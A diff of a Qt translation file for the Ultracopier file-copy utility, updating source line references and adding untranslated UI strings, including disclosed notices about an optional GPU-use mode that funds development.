+ <location filename="../../../HelpDialog.cpp" line="85"/>
<source>Portable version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="79"/>
+ <location filename="../../../HelpDialog.cpp" line="90"/>
+ <source>All in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="92"/>
<source>Normal version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="85"/>
+ <location filename="../../../HelpDialog.cpp" line="110"/>
+ <location filename="../../../HelpDialog.cpp" line="112"/>
+ <location filename="../../../HelpDialog.cpp" line="123"/>
<source>http://ultracopier.first-world.info/</source>
- <extracomment>This site need be the official site of ultracopier, into the right languages, english if not exists</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="78"/>
+ <location filename="../../../HelpDialog.cpp" line="120"/>
+ <source>http://ultracopier.first-world.info/shop.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="125"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="75"/>
<source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;For more information see the website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
<extracomment>%1 will be remplaced by the website into the corresponding languages</extracomment>
<translation type="unfinished"></translation>
@@ -480,12 +569,12 @@ This version is compiled as version: %1.</source>
<context>
<name>LocalListener</name>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Timeout while recomposing data from connected clients</source>
<translation type="unfinished"></translation>
</message>
@@ -493,21 +582,74 @@ This version is compiled as version: %1.</source>
<context>
<name>LogThread</name>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
<source>Log file already open, error: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
- <source>Unable to open file to keep the log file, error: %1</source>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Unable to open the log file, error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>OSSpecific</name>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="26"/>
+ <source>Warning</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="58"/>
+ <source>Don&apos;t show again</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="83"/>
+ <source>Ok</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="23"/>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="25"/>
+ <source>Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="27"/>
+ <source>The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.&lt;br /&gt;You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="29"/>
+ <source>The replacement of default copy/move system should be not supported by the file manager.&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="32"/>
+ <source>Consider Supercopier as deprecated, prefer Ultracopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="35"/>
+ <source>This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don&apos;t wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="36"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -531,257 +673,318 @@ This version is compiled as version: %1.</source>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="66"/>
- <location filename="../../../OptionDialog.ui" line="275"/>
- <location filename="../../../OptionDialog.cpp" line="186"/>
+ <location filename="../../../OptionDialog.ui" line="322"/>
+ <location filename="../../../OptionDialog.cpp" line="354"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="95"/>
- <location filename="../../../OptionDialog.ui" line="303"/>
+ <location filename="../../../OptionDialog.ui" line="92"/>
+ <location filename="../../../OptionDialog.ui" line="350"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="100"/>
+ <location filename="../../../OptionDialog.ui" line="97"/>
<source>Log</source>
<translation type="unfinished"></translation>
</message>
<message>
+ <location filename="../../../OptionDialog.ui" line="222"/>
+ <source>Confirm to group the windows</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="245"/>
+ <source>Check for updates</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="312"/>
+ <source>Name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="317"/>
+ <source>Version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="327"/>
+ <source>Language</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="71"/>
+ <location filename="../../../OptionDialog.ui" line="335"/>
+ <location filename="../../../OptionDialog.cpp" line="355"/>
+ <source>Listener</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="76"/>
+ <location filename="../../../OptionDialog.ui" line="340"/>
+ <location filename="../../../OptionDialog.cpp" line="356"/>
+ <source>Plugin loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="84"/>
+ <location filename="../../../OptionDialog.ui" line="345"/>
+ <location filename="../../../OptionDialog.cpp" line="357"/>
+ <source>Session loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<location filename="../../../OptionDialog.ui" line="117"/>
- <source>Language:</source>
+ <source>Force the language</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="127"/>
- <source>Autodetect the system language:</source>
+ <source>Replace the default copy and move system</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="141"/>
- <source>Catch the copy/move as default:</source>
+ <source>Load at the session loading</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="155"/>
- <source>Load at the session loading:</source>
+ <source>When manual open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="265"/>
- <source>Name</source>
+ <location filename="../../../OptionDialog.ui" line="181"/>
+ <source>Group the windows when</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="270"/>
- <source>Version</source>
+ <location filename="../../../OptionDialog.ui" line="229"/>
+ <source>Display the OS warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="280"/>
- <source>Language</source>
+ <location filename="../../../OptionDialog.ui" line="255"/>
+ <source>Give GPU time to fund the development</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="71"/>
- <location filename="../../../OptionDialog.ui" line="288"/>
- <location filename="../../../OptionDialog.cpp" line="187"/>
- <source>Listener</source>
+ <location filename="../../../OptionDialog.ui" line="262"/>
+ <source>Remaining time algorithm</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="79"/>
- <location filename="../../../OptionDialog.ui" line="293"/>
- <location filename="../../../OptionDialog.cpp" line="188"/>
- <source>Plugin loader</source>
+ <location filename="../../../OptionDialog.ui" line="270"/>
+ <source>Traditional</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="87"/>
- <location filename="../../../OptionDialog.ui" line="298"/>
- <location filename="../../../OptionDialog.cpp" line="189"/>
- <source>Session loader</source>
+ <location filename="../../../OptionDialog.ui" line="275"/>
+ <source>Logarithmic</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="311"/>
+ <location filename="../../../OptionDialog.ui" line="358"/>
<source>Plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="330"/>
+ <location filename="../../../OptionDialog.ui" line="377"/>
<source>Add</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="343"/>
+ <location filename="../../../OptionDialog.ui" line="390"/>
<source>Remove</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="353"/>
+ <location filename="../../../OptionDialog.ui" line="400"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="380"/>
+ <location filename="../../../OptionDialog.ui" line="427"/>
<source>Copy engine by order of preference:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="493"/>
+ <location filename="../../../OptionDialog.ui" line="498"/>
+ <source>Client connected</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="554"/>
<source>Themes:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="555"/>
+ <location filename="../../../OptionDialog.ui" line="616"/>
<source>Unable to load the themes plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="655"/>
+ <location filename="../../../OptionDialog.ui" line="716"/>
<source>Browse</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="687"/>
- <location filename="../../../OptionDialog.ui" line="700"/>
+ <location filename="../../../OptionDialog.ui" line="741"/>
+ <source>Write the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="748"/>
<source>The variables are %time%, %source%, %size%, %destination%</source>
- <extracomment>%time%, %source%, %size%, %destination% should not be translated
-----------
-%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <extracomment>%time%, %source%, %size%, %destination% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="717"/>
- <location filename="../../../OptionDialog.ui" line="730"/>
+ <location filename="../../../OptionDialog.ui" line="771"/>
+ <source>Write the errors</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="778"/>
<source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
- <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated
-----------
-%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="636"/>
+ <location filename="../../../OptionDialog.ui" line="697"/>
<source>Write the log file into:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="680"/>
- <source>Write the transfers:</source>
+ <location filename="../../../OptionDialog.ui" line="728"/>
+ <source>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="710"/>
- <source>Write the errors:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="740"/>
- <source>Write the folder operations:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <source>Load the theme?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="190"/>
- <location filename="../../../OptionDialog.cpp" line="191"/>
- <location filename="../../../OptionDialog.cpp" line="321"/>
- <location filename="../../../OptionDialog.cpp" line="322"/>
- <source>Disabled because you have any SessionLoader plugin</source>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load the language?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="192"/>
+ <location filename="../../../OptionDialog.cpp" line="362"/>
<source>Do nothing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="193"/>
+ <location filename="../../../OptionDialog.cpp" line="363"/>
<source>Ask source as folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="194"/>
+ <location filename="../../../OptionDialog.cpp" line="364"/>
<source>Ask sources as files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="195"/>
+ <location filename="../../../OptionDialog.cpp" line="365"/>
<source>Never</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="196"/>
+ <location filename="../../../OptionDialog.cpp" line="366"/>
<source>When source is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="197"/>
+ <location filename="../../../OptionDialog.cpp" line="367"/>
<source>When destination is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="198"/>
+ <location filename="../../../OptionDialog.cpp" line="368"/>
<source>When source and destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="199"/>
+ <location filename="../../../OptionDialog.cpp" line="369"/>
<source>When source or destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="200"/>
+ <location filename="../../../OptionDialog.cpp" line="370"/>
<source>Always</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="792"/>
- <source>Save logs as: </source>
+ <location filename="../../../OptionDialog.cpp" line="384"/>
+ <location filename="../../../OptionDialog.cpp" line="385"/>
+ <location filename="../../../OptionDialog.cpp" line="386"/>
+ <source>The variables are %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="667"/>
- <source>This write directly the file when it receive the new entry, but it can produce 50% of lost of performance</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>Allow the application</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="670"/>
- <source>Synchronized log</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="169"/>
- <source>When manual open:</source>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>Enable the OpenCL</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="229"/>
- <source>Group the windows when:</source>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="1591"/>
+ <source>Save logs as: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="731"/>
+ <source>Synchronized log</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="605"/>
+ <location filename="../../../OptionDialog.ui" line="666"/>
<source>No option for this plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="750"/>
- <location filename="../../../OptionDialog.ui" line="763"/>
+ <location filename="../../../OptionDialog.ui" line="801"/>
+ <source>Write the folder operations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="811"/>
<source>The variables are %path%, %operation%</source>
- <extracomment>%path%, %operation% should not be translated
-----------
-%path%, %operation% should not be translated</extracomment>
+ <extracomment>%path%, %operation% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>OptionEngine</name>
<message>
- <location filename="../../../OptionEngine.cpp" line="154"/>
- <location filename="../../../OptionEngine.cpp" line="158"/>
- <location filename="../../../OptionEngine.cpp" line="195"/>
- <location filename="../../../OptionEngine.cpp" line="199"/>
- <source>Try get variable, but the variable is not found: %1 %2</source>
+ <location filename="../../../OptionEngine.cpp" line="161"/>
+ <location filename="../../../OptionEngine.cpp" line="165"/>
+ <location filename="../../../OptionEngine.cpp" line="202"/>
+ <location filename="../../../OptionEngine.cpp" line="206"/>
+ <source>The variable was not found: %1 %2</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -823,37 +1026,42 @@ This version is compiled as version: %1.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="40"/>
- <source>CopyEngine</source>
+ <location filename="../../../PluginInformation.cpp" line="38"/>
+ <source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="43"/>
+ <location filename="../../../PluginInformation.cpp" line="41"/>
<source>Languages</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="46"/>
+ <location filename="../../../PluginInformation.cpp" line="44"/>
<source>Listener</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="49"/>
- <source>PluginLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="47"/>
+ <source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="52"/>
- <source>SessionLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="50"/>
+ <source>Session loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="55"/>
+ <location filename="../../../PluginInformation.cpp" line="53"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="69"/>
+ <location filename="../../../PluginInformation.cpp" line="57"/>
+ <source>Unknown</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="67"/>
<source>Information about %1</source>
<translation type="unfinished"></translation>
</message>
@@ -871,140 +1079,140 @@ This version is compiled as version: %1.</source>
<context>
<name>PluginsManager</name>
<message>
- <location filename="../../../PluginsManager.cpp" line="208"/>
+ <location filename="../../../PluginsManager.cpp" line="221"/>
<source>informations.xml is not accessible</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="214"/>
- <source>informations.xml not found into the plugin</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../../PluginsManager.cpp" line="474"/>
+ <location filename="../../../PluginsManager.cpp" line="487"/>
<source>Dependencies part is wrong</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="493"/>
+ <location filename="../../../PluginsManager.cpp" line="508"/>
<source>Dependencies %1 are not satisfied, for plugin: %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Remove %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="242"/>
+ <location filename="../../../PluginsManager.cpp" line="253"/>
<source>%1, parse error at line %2, column %3: %4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="250"/>
+ <location filename="../../../PluginsManager.cpp" line="227"/>
+ <source>informations.xml not found for the plugin</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="261"/>
<source>&quot;package&quot; root tag not found for the xml file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="326"/>
+ <location filename="../../../PluginsManager.cpp" line="337"/>
<source>Duplicated plugin found, already loaded!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="384"/>
- <source>English text missing into the informations.xml for the tag: %1</source>
+ <location filename="../../../PluginsManager.cpp" line="395"/>
+ <source>English text missing in the informations.xml for the tag: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="392"/>
+ <location filename="../../../PluginsManager.cpp" line="403"/>
<source>Tag not found: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Are you sure about removing &quot;%1&quot; in version %2?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error while the removing plugin, please check the rights on the folder:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Previous import is in progress...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Open Ultracopier plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Ultracopier plugin (*.urc)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="775"/>
- <location filename="../../../PluginsManager.cpp" line="788"/>
- <location filename="../../../PluginsManager.cpp" line="806"/>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
<source>Unable to open the plugin: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Unable to load the plugin content, please check it: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="775"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
<source>Unable to create a folder to install the plugin:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="788"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
<source>Unable to create a file to install the plugin:
%1
since:%2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="806"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
<source>Folder with same name is present, skip the plugin installation:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
<source>Unable to load the plugin content, please check it</source>
<translation type="unfinished"></translation>
</message>
@@ -1012,44 +1220,44 @@ since:%2</source>
<context>
<name>QXzDecode</name>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="40"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="95"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="38"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="93"/>
<source>Memory allocation failed</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="66"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="84"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="64"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="82"/>
<source>Write error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="99"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="97"/>
<source>Memory usage limit reached</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="103"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="101"/>
<source>Not a .xz file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="107"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="105"/>
<source>Unsupported options in the .xz headers</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="112"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="110"/>
<source>The file is corrupted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="116"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="114"/>
<source>Bug!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="126"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="124"/>
<source>The input data is too short</source>
<translation type="unfinished"></translation>
</message>
@@ -1057,85 +1265,117 @@ since:%2</source>
<context>
<name>SystrayIcon</name>
<message>
- <location filename="../../../SystrayIcon.cpp" line="110"/>
+ <location filename="../../../SystrayIcon.cpp" line="163"/>
<source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="116"/>
+ <location filename="../../../SystrayIcon.cpp" line="169"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="127"/>
- <source>Searching informations...</source>
+ <location filename="../../../SystrayIcon.cpp" line="187"/>
+ <source>Searching information...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="140"/>
- <source>Not catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="200"/>
+ <source>Do not replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="145"/>
- <source>Semi catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="205"/>
+ <source>Semi replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
